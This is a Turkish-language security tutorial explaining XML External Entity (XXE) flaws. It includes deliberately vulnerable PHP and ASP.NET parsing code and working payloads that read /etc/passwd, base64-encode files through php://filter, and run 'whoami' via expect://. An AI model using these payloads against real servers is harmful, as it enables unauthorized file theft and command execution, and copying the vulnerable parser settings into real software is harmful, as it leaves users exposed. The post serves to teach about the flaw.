XXE (XML External Entity) Güvenlik Zafiyeti

XXE yeni olmayan ancak Facebook gibi bir sosyal medya devinin sunucularında bulunmasıyla gündeme gelen bir zafiyettir/özelliktir. Aslında XML’in esnekliğini arttırmak için düşünülen bir özellik olmasına karşın bu esneklik önemli güvenlik risklerini de beraberinde getirmekte, sunucudan rasgele dosya okunmasına ve bazı özel durumlarda sunucuda komut çalıştırılmasına imkan vermektedir.

XXE zafiyeti, sunucu(sunucu tarafında çalışan yazılım) XML verisini parse ederken özel olarak tanımlanmış bir XML varlığının (entity) çağırılması sonucu tetiklenir. Bazı XML kütüphaneleri özel olarak varlık tanımlamaya ve çağırmaya varsayılan olarak izin verirken bazılarında bu özellik kapalı gelir. Saldırının başarılı olabilmesi için hedef sistemde bu özelliğin aktif olması gerekir.
PHP ile XXE senaryosu:
Örnek senaryoda sunucu tarafında gelen XML verisini parse edip ekrana basan aşağıdaki gibi basit bir PHP kodu bulunuyor.
<?php
$xml = simplexml_load_string(file_get_contents(“php://input”));
echo $xml;
?>
Sunucuya basit bir XML varlığı içeren bir POST isteği gönderildiğinde (örnekte HttpRequester aracı kullanılmıştır.) cevap olarak varlığın değeri dönecektir.
<?xml version=”1.0″ ?>
<tag>test</tag>
Örneğin yukarıdaki isteğe, “test” cevabı dönecektir. Sorun her zamanki gibi isteğin bu kadar masum olmadığı durumlarda ortaya çıkıyor. Mesela sunucuya giden istekte bir dosyanın içeriğini okuyacak bir varlık tanımlanıp kullanıldığında istek yine başarılı olacaktır.
<?xml version=”1.0″?>
<!DOCTYPE tag [<!ENTITY ups SYSTEM “file:///etc/passwd”>]>
<tag>&ups;</tag>
Örneğin yukarıdaki XML sunucuya gönderildiğinde geriye sunucunun “/etc/passwd” dosyasının içeriği dönmektedir. 
 
İçeriği okunmaya çalışılan dosya içerdiği karakterler nedeniyle XML dosya yapısını veya uygulamadaki başka birşeyi etkiliyor olabilir. Hedef uygulama örnekteki gibi PHP ile geliştirilmişse dosya içeriğini base64 encode etmek için şu payload kullanılabilir.
<?xml version=”1.0″?>
<!DOCTYPE tag [<!ENTITY ups SYSTEM “php://filter/read=convert.base64-encode/resource=/etc/passwd”>]>
<tag>&ups;</tag>

Dönen cevap base64 ile decode edilerek dosyanın içeriğine erişilir.
Diğer rasgele dosya okuma zafiyetlerinde olduğu gibi bazı özel durumlarda XXE kullanarak da hedef sunucuda komut çalıştırmak mümkün olabilir. Örneğin hedef uygulama PHP ise ve PHP’nin “expect” (http://pecl.php.net/package/expect) modülü kuruluysa
<?xml version=”1.0″?>
<!DOCTYPE tag [<!ENTITY ups SYSTEM “expect://whoami”>]>
<tag>&ups;</tag>
payloadı kullanılarak sistemde “whoami” komutu çalıştırılabilir.
ASP.NET ile XXE Senaryosu:
ASP.NET ve C# ile XXE zafiyetini örneklendirmek için sunucu tarafında aşağıdaki kod kullanılmıştır.
protected void Page_Load(object sender, EventArgs e)
{             
       XmlReaderSettings xrSettings = new XmlReaderSettings();
       xrSettings.DtdProcessing = DtdProcessing.Parse;
       XDocument document = XDocument.Load(XmlReader.Create(Request.InputStream, xrSettings));
       Response.Write(document.ToString());        
}
Kısaca Request.InputStream aracılığıyla gelen POST isteğinin içeriğini okuyan bir XmlReader nesnesi oluşturuluyor ve bu nesne XDocument.Load metoduna parametre olarak verilip xml verisi parse ediliyor. Atlanmaması gereken nokta ise XmlReader nesnesi oluşturulurken kullanılan XmlReaderSettings nesnesinin “DtdProcessing” özelliği “DtdProcessing.Parse” olarak atanıp XML’deki DTD/DOCTYPE elemanlarının yorumlanması sağlanıyor.
Sunucuya gönderilen sıradan bir XML
<?xml version=”1.0″?>
<tag>test</tag>

XXE payloadı içeren bir XML
<?xml version=”1.0″?>
<!DOCTYPE tag [<!ENTITY ups SYSTEM “file://C:Windowssystem.ini”>]>
<tag>&ups;</tag>

Onur ALANBEL < onur.alanbel@bga.com.tr >